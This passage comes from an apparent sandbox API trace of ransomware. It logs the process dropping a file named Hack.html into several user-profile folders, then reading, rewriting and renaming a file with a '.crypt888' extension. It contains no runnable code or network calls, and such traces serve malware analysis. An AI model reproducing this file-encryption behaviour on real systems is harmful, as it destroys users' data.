(dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0084.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\", lpFilePart=0x0) returned 0x28 [0084.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0084.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0084.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\Hack.html", lpFilePart=0x0) returned 0x31 [0084.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.829] GetFileType (hFile=0x174) returned 0x1 [0084.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.829] GetFileType (hFile=0x174) returned 0x1 [0084.829] WriteFile (in: hFile=0x174, lpBuffer=0x26b7ce4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26b7ce4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.830] CloseHandle (hObject=0x174) returned 1 [0084.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.831] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0084.831] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\", lpFilePart=0x0) returned 0x25 [0084.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0084.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0084.845] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\Hack.html", lpFilePart=0x0) returned 0x2e [0084.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.846] GetFileType (hFile=0x174) returned 0x1 [0084.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.846] GetFileType (hFile=0x174) returned 0x1 [0084.846] WriteFile (in: hFile=0x174, lpBuffer=0x26baffc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26baffc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.848] CloseHandle (hObject=0x174) returned 1 [0084.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.848] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0084.848] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpFilePart=0x0) returned 0x2a [0084.848] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0084.849] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.849] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.849] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0084.849] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0084.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0084.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0084.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0084.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpFilePart=0x0) returned 0x2a [0084.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0084.850] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.850] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.850] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0084.851] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0084.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0084.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0084.851] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\Hack.html", lpFilePart=0x0) returned 0x33 [0084.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.851] GetFileType (hFile=0x174) returned 0x1 [0084.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.852] GetFileType (hFile=0x174) returned 0x1 [0084.852] WriteFile (in: hFile=0x174, lpBuffer=0x26bed18*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26bed18*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.853] CloseHandle (hObject=0x174) returned 1 [0084.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0084.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpFilePart=0x0) returned 0x27 [0084.853] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0084.853] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.853] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.854] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.854] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.854] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0084.854] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0084.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0084.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0084.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.854] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0084.854] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpFilePart=0x0) returned 0x27 [0084.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0084.855] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.855] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.855] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.855] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.855] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0084.855] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0084.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0084.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0084.856] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Hack.html", lpFilePart=0x0) returned 0x30 [0084.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.856] GetFileType (hFile=0x174) returned 0x1 [0084.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.856] GetFileType (hFile=0x174) returned 0x1 [0084.856] WriteFile (in: hFile=0x174, lpBuffer=0x26c30ec*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26c30ec*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.857] CloseHandle (hObject=0x174) returned 1 [0084.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0084.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\", lpFilePart=0x0) returned 0x25 [0084.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0084.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0084.859] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\Hack.html", lpFilePart=0x0) returned 0x2e [0084.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.862] GetFileType (hFile=0x174) returned 0x1 [0084.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.862] GetFileType (hFile=0x174) returned 0x1 [0084.862] WriteFile (in: hFile=0x174, lpBuffer=0x26c6404*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26c6404*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.863] CloseHandle (hObject=0x174) returned 1 [0084.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0084.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\", lpFilePart=0x0) returned 0x29 [0084.863] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0084.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0084.865] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Hack.html", lpFilePart=0x0) returned 0x32 [0084.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.866] GetFileType (hFile=0x174) returned 0x1 [0084.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.866] GetFileType (hFile=0x174) returned 0x1 [0084.866] WriteFile (in: hFile=0x174, lpBuffer=0x26c977c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26c977c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.867] CloseHandle (hObject=0x174) returned 1 [0084.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.867] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0084.867] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\", lpFilePart=0x0) returned 0x28 [0084.867] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0084.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0084.869] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\Hack.html", lpFilePart=0x0) returned 0x31 [0084.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.869] GetFileType (hFile=0x174) returned 0x1 [0084.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.869] GetFileType (hFile=0x174) returned 0x1 [0084.870] WriteFile (in: hFile=0x174, lpBuffer=0x26ccacc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26ccacc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.870] CloseHandle (hObject=0x174) returned 1 [0084.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0084.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25 [0084.871] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0084.871] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.871] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.871] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.871] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.871] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.872] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.872] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.872] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0084.872] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0084.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0084.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0084.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0084.872] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0084.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25 [0084.873] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0084.873] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.873] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.873] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.873] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.873] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.874] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.874] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0084.874] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0084.874] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0084.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0084.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0084.874] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", lpFilePart=0x0) returned 0x2e [0084.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0084.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.875] GetFileType (hFile=0x174) returned 0x1 [0084.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0084.875] GetFileType (hFile=0x174) returned 0x1 [0084.875] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0084.875] ReadFile (in: hFile=0x174, lpBuffer=0x26cfdd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26cfdd8*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0084.875] CloseHandle (hObject=0x174) returned 1 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", lpFilePart=0x0) returned 0x2e [0084.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0084.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.918] GetFileType (hFile=0x174) returned 0x1 [0084.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0084.918] GetFileType (hFile=0x174) returned 0x1 [0084.918] WriteFile (in: hFile=0x174, lpBuffer=0x271e098*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x271e098*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0084.919] CloseHandle (hObject=0x174) returned 1 [0084.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", lpFilePart=0x0) returned 0x2e [0084.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html.crypt888", lpFilePart=0x0) returned 0x37 [0084.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0084.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: 